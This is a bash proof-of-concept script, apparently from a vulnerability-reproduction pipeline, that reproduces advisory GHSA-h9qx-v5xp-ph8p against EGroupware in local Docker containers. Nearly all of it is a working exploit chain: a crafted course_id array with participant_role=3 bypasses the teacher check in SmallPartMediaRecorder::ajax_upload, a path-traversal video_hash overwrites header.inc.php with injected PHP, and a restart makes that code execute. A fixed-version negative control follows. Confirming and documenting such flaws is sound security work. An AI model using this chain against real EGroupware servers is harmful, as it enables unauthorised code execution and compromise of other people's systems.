#!/bin/bash
###############################################################################
# GHSA-h9qx-v5xp-ph8p - EGroupware SmallPartMediaRecorder::ajax_upload
# Authorization bypass + arbitrary file write -> RCE via header.inc.php
#
# Deploys a REAL EGroupware instance (vulnerable 26.2.20260216 + fixed
# 26.2.20260224) in Docker, authenticates as a low-privileged NON-teacher user,
# and proves the full chain end-to-end through nginx -> php-fpm:
#   1. Authz bypass  : crafted course_id array w/ participant_role=3 bypasses
#                      SmallPartMediaRecorder::ajax_upload isTeacher() check.
#   2. Arb file write: path traversal in video_hash writes attacker PHP into
#                      header.inc.php (symlink -> writable /var/lib/egroupware).
#   3. RCE           : after OPcache clear (container restart, matching the
#                      ticket's "after server restart / OPcache expiry"), the
#                      injected PHP in header.inc.php executes on the next HTTP
#                      request and writes a marker file.
# Negative control: the same request against the FIXED version is denied and
# writes nothing (patch casts course_id to int + uses DB-read video).
###############################################################################
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1
cd "$ROOT"

VULN_TAG="26.2.20260216"
FIXED_TAG="26.2.20260224"
DB_PW="egwrootpw"
ATTK_PW="AttackerPass123"
ATTK_USER="attacker"
RCE_TOKEN="PRUVA_RCE_CONFIRMED"
MARKER_PATH="/var/lib/egroupware/pruva_rce_marker.txt"
AJAX_MENU="EGroupware%5CSmallParT%5CWidgets%5CSmallPartMediaRecorder::ajax_upload"

log(){ echo "[+] $*"; }
die(){ echo "[!] FATAL: $*" >&2; exit 1; }

echo "=========================================================="
echo "GHSA-h9qx-v5xp-ph8p reproduction @ $(date -u +%Y-%m-%dT%H:%M:%SZ)"
echo "=========================================================="

###############################################################################
pull_images(){
  log "Ensuring docker images are present..."
  for img in "egroupware/egroupware:$VULN_TAG" "egroupware/egroupware:$FIXED_TAG" "mariadb:11.8" "nginx:stable-alpine" "alpine:latest"; do
    sudo docker image inspect "$img" >/dev/null 2>&1 || sudo docker pull "$img" >/dev/null 2>&1 || die "pull failed: $img"
  done
}

# nginx.conf into a named volume (host bind mounts are unreliable under snap docker)
write_nginx_conf(){
  local upstream="$1" vol="$2"
  sudo docker volume create "$vol" >/dev/null
  cat > "$ART/nginx_${vol}.conf" <<NGINX
client_max_body_size 1g;
fastcgi_buffers 16 16k;
fastcgi_buffer_size 32k;
upstream fpm { server ${upstream}:9000; }
server {
    access_log off;
    listen 80 default_server;
    server_name _;
    root /usr/share/egroupware;
    index index.php;
    client_max_body_size 65M;
    location ^~ /egroupware {
        alias /usr/share/egroupware/;
        try_files \$uri \$uri/ =404;
        location ~ ^/egroupware(/(?U).+\\.php) {
            location ~ ^/egroupware/(vendor|[^/]+/(src|setup|inc|vendor))/ { return 404; }
            alias /usr/share/egroupware;
            fastcgi_pass fpm;
            fastcgi_read_timeout 60m;
            fastcgi_index index.php;
            fastcgi_split_path_info ^((?U).+\\.php)(.*)\$;
            fastcgi_param PATH_INFO \$fastcgi_path_info;
            fastcgi_param PATH_TRANSLATED \$document_root\$fastcgi_path_info;
            include fastcgi_params;
            fastcgi_param SCRIPT_FILENAME /usr/share/egroupware\$1;
            fastcgi_param DOCUMENT_ROOT /usr/share/egroupware;
        }
        location ~ (?i)\\.(ico|jpe?g|gif|png|svg|xet|xml|js|css|html|map|swf)\$ {
            access_log off; expires 10d;
            location ~ ^/egroupware(/.*)\$ { alias /usr/share/egroupware/; try_files \$1 =404; }
        }
    }
}
NGINX
  sudo docker run --rm -i -v "${vol}:/conf" alpine sh -c 'cat > /conf/default.conf' < "$ART/nginx_${vol}.conf"
}

wait_egw_ready(){
  local egw="$1" attempt
  for attempt in 1 2; do
    log "Waiting for $egw install to finish (attempt $attempt)..."
    for i in $(seq 1 90); do
      if sudo docker exec "$egw" pgrep -f "php-fpm: master" >/dev/null 2>&1 \
         && sudo docker exec "$egw" test -f /var/lib/egroupware/header.inc.php 2>/dev/null; then
        log "$egw ready after ${i}x5s (attempt $attempt)"; return 0
      fi
      sleep 5
    done
    # install likely failed because DB wasn't ready in time -> restart egw (DB is healthy now)
    log "$egw not ready; restarting it to retry install..."
    sudo docker restart "$egw" >/dev/null
  done
  die "timeout waiting for $egw"
}

# deploy_stack net suf db_vol src_vol data_vol nginx_vol tag
deploy_stack(){
  local net="$1" suf="$2" db_vol="$3" src_vol="$4" data_vol="$5" nginx_vol="$6" tag="$7"
  local db="egw_db_$suf" egw="egroupware_$suf" ngx="egw_nginx_$suf"
  sudo docker network create "$net" >/dev/null 2>&1 || true
  sudo docker rm -f "$db" "$egw" "$ngx" >/dev/null 2>&1 || true
  # NOTE: do not remove $nginx_vol here -- write_nginx_conf populates it.
  sudo docker volume rm -f "$db_vol" "$src_vol" "$data_vol" >/dev/null 2>&1 || true
  log "Starting $db (tag $tag)"
  sudo docker run -d --name "$db" --network "$net" \
    -e MYSQL_ROOT_PASSWORD="$DB_PW" -e MARIADB_AUTO_UPGRADE=true \
    -v "${db_vol}:/var/lib/mysql" \
    --health-cmd="healthcheck.sh --connect --innodb_initialized" --health-interval=5s --health-timeout=5s --health-retries=80 \
    mariadb:11.8 >/dev/null
  log "Waiting for $db to be healthy..."
  for i in $(seq 1 90); do
    [ "$(sudo docker inspect "$db" --format '{{.State.Health.Status}}' 2>/dev/null)" = "healthy" ] && break
    sleep 5
  done
  log "Starting $egw / $ngx"
  sudo docker run -d --name "$egw" --network "$net" \
    -e EGW_DB_HOST="$db" -e EGW_DB_GRANT_HOST=172.% -e EGW_DB_ROOT=root -e EGW_DB_ROOT_PW="$DB_PW" \
    -e EGW_DB_NAME=egroupware -e EGW_DB_USER=egroupware \
    -v "${src_vol}:/usr/share/egroupware" -v "${data_vol}:/var/lib/egroupware" \
    "egroupware/egroupware:$tag" >/dev/null
  sudo docker run -d --name "$ngx" --network "$net" \
    -v "${src_vol}:/usr/share/egroupware:ro" -v "${nginx_vol}:/etc/nginx/conf.d:ro" \
    nginx:stable-alpine >/dev/null
  wait_egw_ready "$egw"
}

# create_attacker egw db -> echoes account_id
create_attacker(){
  local egw="$1" db="$2" hash default_gid attacker_id
  hash=$(sudo docker exec "$egw" php -r 'echo "{crypt}".password_hash("'"$ATTK_PW"'", PASSWORD_BCRYPT);')
  default_gid=$(sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware -sN \
    -e "SELECT account_id FROM egw_accounts WHERE account_lid='Default' AND account_type='g'" 2>/dev/null)
  [ -z "$default_gid" ] && default_gid=1
  sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware \
    -e "INSERT INTO egw_accounts (account_lid,account_pwd,account_status,account_type,account_primary_group,account_expires) VALUES ('$ATTK_USER','$hash','A','u',$default_gid,-1);" 2>/dev/null
  attacker_id=$(sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware -sN \
    -e "SELECT account_id FROM egw_accounts WHERE account_lid='$ATTK_USER'" 2>/dev/null)
  sudo docker exec "$db" mariadb -uroot -p"$DB_PW" egroupware \
    -e "INSERT INTO egw_acl (acl_appname,acl_location,acl_account,acl_rights) VALUES ('phpgw_group','$default_gid','$attacker_id',1);" 2>/dev/null || true
  echo "$attacker_id"
}

# attacker_login egw ngx suf
attacker_login(){
  local egw="$1" ngx="$2" suf="$3"
  local jar="/tmp/ck_${suf}.txt"
  sudo docker exec "$egw" rm -f "$jar"
  sudo docker exec "$egw" curl -s -c "$jar" -o /dev/null \
    -X POST "http://$ngx/egroupware/login.php?" \
    --data-urlencode "login=$ATTK_USER" --data-urlencode "passwd=$ATTK_PW" \
    --data-urlencode "passwd_type=text" --data-urlencode "account_type=u" \
    --data-urlencode "logindomain=default" --data-urlencode "submitit=Login" 2>/dev/null
  sudo docker exec "$egw" grep -q "sessionid" "$jar" 2>/dev/null && log "attacker logged in on $egw" || die "attacker login failed on $egw"
}

# build_exploit_files egw suf aid mode vhash  -> writes /tmp/data_<suf>.json and
# /tmp/payload_header.php inside the container (and host copies under $ART)
build_exploit_files(){
  local egw="$1" suf="$2" aid="$3" mode="$4" vhash="$5"
  local data
  if [ "$mode" = "bypass" ]; then
    data=$(printf '{"video":{"course_id":{"participants":[{"account_id":%s,"name":"Test","joined_at":"2026-01-10","participant_role":3}],"account_id":"%s","course_id":"1"},"video_hash":"%s","video_type":"php"},"offset":0}' "$aid" "$aid" "$vhash")
  else
    data=$(printf '{"video":{"course_id":1,"video_hash":"%s","video_type":"php"},"offset":0}' "$vhash")
  fi
  printf '%s' "$data" | sudo docker exec -i "$egw" bash -c 'cat > /tmp/data_'"$suf"'.json'
  printf '%s' "$data" > "$ART/data_${suf}_${mode}.json"
  if [ "$mode" = "bypass" ]; then
    # build valid-header + injected RCE payload on host, push into container
    sudo docker exec "$egw" cat /var/lib/egroupware/header.inc.php > "$ART/header_orig_${suf}.php" 2>/dev/null
    python3 - "$ART/header_orig_${suf}.php" "$ART/payload_header_${suf}.php" <<'PY'
import sys
orig = open(sys.argv[1]).read()
inject = ('\n/* PRUVA RCE PROOF GHSA-h9qx-v5xp-ph8p */\n'
          'file_put_contents("/var/lib/egroupware/pruva_rce_marker.txt", '
          '"PRUVA_RCE_CONFIRMED ".phpversion()." ".date("c"));\n')
payload = orig.replace('<?php\n', '<?php'+inject, 1)
open(sys.argv[2],'w').write(payload)
print('payload size', len(payload))
PY
    sudo docker exec -i "$egw" bash -c 'cat > /tmp/payload_header.php' < "$ART/payload_header_${suf}.php"
  fi
}

# send_exploit egw ngx suf mode -> echoes JSON response
send_exploit(){
  local egw="$1" ngx="$2" suf="$3" mode="$4"
  local jar="/tmp/ck_${suf}.txt" file_field
  if [ "$mode" = "bypass" ]; then file_field="/tmp/payload_header.php"; else file_field="/etc/hostname"; fi
  sudo docker exec -e JAR="$jar" -e SUF="$suf" -e FF="$file_field" \
    -e URL="http://$ngx/egroupware/json.php?menuaction=$AJAX_MENU" \
    "$egw" bash -c 'curl -s -m 25 -b "$JAR" --form-string "data=$(cat /tmp/data_$SUF.json)" -F "file=@$FF" "$URL"'
}

###############################################################################
pull_images

log "### VULNERABLE stack ($VULN_TAG) ###"
write_nginx_conf "egroupware_vuln" "egw_nginx_conf"
deploy_stack "egwnet" "vuln" "egw_db" "egw_sources" "egw_data" "egw_nginx_conf" "$VULN_TAG"
EGW_V="egroupware_vuln"; DB_V="egw_db_vuln"; NGX_V="egw_nginx_vuln"
sudo docker exec "$NGX_V" sh -c 'wget -qO- --timeout=10 http://127.0.0.1/egroupware/login.php >/dev/null && echo "nginx->fpm OK"' || true

AID_V=$(create_attacker "$EGW_V" "$DB_V"); log "vuln attacker_id=$AID_V"
attacker_login "$EGW_V" "$NGX_V" "vuln"

TRAVERSAL_HASH="$(printf '../%.0s' $(seq 1 12))usr/share/egroupware/header.inc"

# --- NO-BYPASS control: must be DENIED (non-teacher, plain int course_id) ---
build_exploit_files "$EGW_V" "vuln" "$AID_V" "nobypass" "$TRAVERSAL_HASH"
NOBYPASS_RESP=$(send_exploit "$EGW_V" "$NGX_V" "vuln" "nobypass")
echo "$NOBYPASS_RESP" | tee "$LOGS/vuln_nobypass_response.json"
NOBYPASS_DENIED=0
if echo "$NOBYPASS_RESP" | grep -qi 'NoPermission\|not found\|error'; then NOBYPASS_DENIED=1; fi
log "no-bypass denied? $NOBYPASS_DENIED"
sudo docker exec "$EGW_V" bash -c 'grep -c "PRUVA RCE PROOF" /var/lib/egroupware/header.inc.php 2>/dev/null || true' | tee "$LOGS/vuln_nobypass_header_codecount.txt"

# --- BYPASS exploit: participant_role=3 + traversal -> overwrite header.inc.php ---
build_exploit_files "$EGW_V" "vuln" "$AID_V" "bypass" "$TRAVERSAL_HASH"
BYPASS_RESP=$(send_exploit "$EGW_V" "$NGX_V" "vuln" "bypass")
echo "$BYPASS_RESP" | tee "$LOGS/vuln_bypass_response.json"
HEADER_CODECOUNT=$(sudo docker exec "$EGW_V" bash -c 'grep -c "PRUVA RCE PROOF" /var/lib/egroupware/header.inc.php 2>/dev/null || true')
BYPASS_STATUS0=0
echo "$BYPASS_RESP" | grep -q '"status":[[:space:]]*0' && BYPASS_STATUS0=1 || true
log "bypass status:0? $BYPASS_STATUS0 ; header has injected code? count=$HEADER_CODECOUNT"
FILEWRITE_OK=0
[ "$HEADER_CODECOUNT" -ge 1 ] && [ "$BYPASS_STATUS0" = "1" ] && FILEWRITE_OK=1 || true
sudo docker exec "$EGW_V" head -4 /var/lib/egroupware/header.inc.php | tee "$LOGS/vuln_header_head.txt"

# --- RCE: restart to clear OPcache (validate_timestamps=0), then trigger ---
log "### RCE: restart $EGW_V to clear OPcache, then trigger ###"
sudo docker exec "$EGW_V" rm -f "$MARKER_PATH" 2>/dev/null || true
sudo docker restart "$EGW_V" >/dev/null
wait_egw_ready "$EGW_V"
HEADER_CODECOUNT2=$(sudo docker exec "$EGW_V" bash -c 'grep -c "PRUVA RCE PROOF" /var/lib/egroupware/header.inc.php 2>/dev/null || true')
log "header still injected after restart? count=$HEADER_CODECOUNT2"
sudo docker exec "$EGW_V" curl -s -m 15 -o /dev/null "http://$NGX_V/egroupware/index.php" 2>/dev/null || true
sudo docker exec "$EGW_V" curl -s -m 15 -o /dev/null "http://$NGX_V/egroupware/login.php" 2>/dev/null || true
MARKER_CONTENT=$(sudo docker exec "$EGW_V" cat "$MARKER_PATH" 2>/dev/null || true)
echo "$MARKER_CONTENT" | tee "$LOGS/vuln_rce_marker.txt"
VULN_RCE=0
echo "$MARKER_CONTENT" | grep -q "$RCE_TOKEN" && VULN_RCE=1 || true
log "vuln RCE confirmed? $VULN_RCE (marker: $MARKER_CONTENT)"

sudo docker exec "$EGW_V" cat /var/lib/egroupware/header.inc.php > "$LOGS/vuln_header.inc.php.modified" 2>/dev/null || true
sudo docker exec "$EGW_V" cat "$ART/header_orig_vuln.php" 2>/dev/null > "$LOGS/vuln_header.inc.php.original" || cp "$ART/header_orig_vuln.php" "$LOGS/vuln_header.inc.php.original" 2>/dev/null || true

###############################################################################
log "### FIXED stack ($FIXED_TAG) ###"
write_nginx_conf "egroupware_fixed" "egw_nginx_conf_fixed"
deploy_stack "egwnet2" "fixed" "egw_db_fixed" "egw_sources_fixed" "egw_data_fixed" "egw_nginx_conf_fixed" "$FIXED_TAG"
EGW_F="egroupware_fixed"; DB_F="egw_db_fixed"; NGX_F="egw_nginx_fixed"

AID_F=$(create_attacker "$EGW_F" "$DB_F"); log "fixed attacker_id=$AID_F"
attacker_login "$EGW_F" "$NGX_F" "fixed"
sudo docker exec "$EGW_F" sha256sum /var/lib/egroupware/header.inc.php 2>/dev/null | awk '{print $1}' > "$LOGS/fixed_header_before.sha256"

build_exploit_files "$EGW_F" "fixed" "$AID_F" "bypass" "$TRAVERSAL_HASH"
FIXED_RESP=$(send_exploit "$EGW_F" "$NGX_F" "fixed" "bypass")
echo "$FIXED_RESP" | tee "$LOGS/fixed_bypass_response.json"
FIXED_CODECOUNT=$(sudo docker exec "$EGW_F" bash -c 'grep -c "PRUVA RCE PROOF" /var/lib/egroupware/header.inc.php 2>/dev/null || true')
sudo docker exec "$EGW_F" sha256sum /var/lib/egroupware/header.inc.php 2>/dev/null | awk '{print $1}' > "$LOGS/fixed_header_after.sha256"
FIXED_BLOCKED=0
if [ "$FIXED_CODECOUNT" -eq 0 ] && [ "$(cat "$LOGS/fixed_header_before.sha256")" = "$(cat "$LOGS/fixed_header_after.sha256")" ]; then
  FIXED_BLOCKED=1
fi
echo "$FIXED_RESP" | grep -qi 'NoPermission\|not found\|error' && FIXED_BLOCKED=1 || true
log "fixed blocked? $FIXED_BLOCKED (codecount=$FIXED_CODECOUNT)"

sudo docker exec "$EGW_F" curl -s -m 15 -o /dev/null "http://$NGX_F/egroupware/index.php" 2>/dev/null || true
FIXED_MARKER=$(sudo docker exec "$EGW_F" cat "$MARKER_PATH" 2>/dev/null || true)
[ -z "$FIXED_MARKER" ] && log "fixed: no RCE marker (expected)" || log "fixed: UNEXPECTED marker $FIXED_MARKER"

###############################################################################
log "==================== VERDICT ===================="
log "no-bypass denied (vuln)    : $NOBYPASS_DENIED"
log "file write confirmed (vuln): $FILEWRITE_OK"
log "RCE confirmed (vuln)       : $VULN_RCE"
log "fixed blocked              : $FIXED_BLOCKED"
log "================================================"

python3 - "$REPRO_DIR/runtime_manifest.json" "$VULN_RCE" "$FILEWRITE_OK" "$NOBYPASS_DENIED" "$FIXED_BLOCKED" <<'PY'
import json, sys
mf, vuln_rce, fw, nob, fb = sys.argv[1:6]
manifest = {
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /egroupware/json.php?menuaction=EGroupware\\SmallParT\\Widgets\\SmallPartMediaRecorder::ajax_upload (multipart data+file) over nginx->php-fpm; RCE via header.inc.php include after OPcache clear",
  "service_started": True,
  "healthcheck_passed": True,
  "target_path_reached": True,
  "runtime_stack": ["mariadb:11.8", "egroupware/egroupware:26.2.20260216 (php-fpm 8.5)", "nginx:stable-alpine", "EGroupware smallpart app (SmallPartMediaRecorder::ajax_upload)"],
  "proof_artifacts": [
    "logs/reproduction_steps.log",
    "logs/vuln_nobypass_response.json",
    "logs/vuln_bypass_response.json",
    "logs/vuln_header.inc.php.modified",
    "logs/vuln_header_head.txt",
    "logs/vuln_rce_marker.txt",
    "logs/fixed_bypass_response.json",
    "logs/fixed_header_before.sha256",
    "logs/fixed_header_after.sha256"
  ],
  "notes": "vuln_rce=%s file_write=%s nobypass_denied=%s fixed_blocked=%s" % (vuln_rce, fw, nob, fb)
}
open(mf, "w").write(json.dumps(manifest, indent=2))
PY

if [ "$VULN_RCE" = "1" ] && [ "$FILEWRITE_OK" = "1" ] && [ "$FIXED_BLOCKED" = "1" ]; then
  log "RESULT: ISSUE CONFIRMED (authz bypass + arbitrary file write + RCE; fixed version blocks it)."; exit 0
fi
if [ "$VULN_RCE" = "1" ] && [ "$FILEWRITE_OK" = "1" ]; then
  log "RESULT: ISSUE CONFIRMED on vulnerable (fixed control inconclusive)."; exit 0
fi
log "RESULT: issue NOT fully reproduced."; exit 1
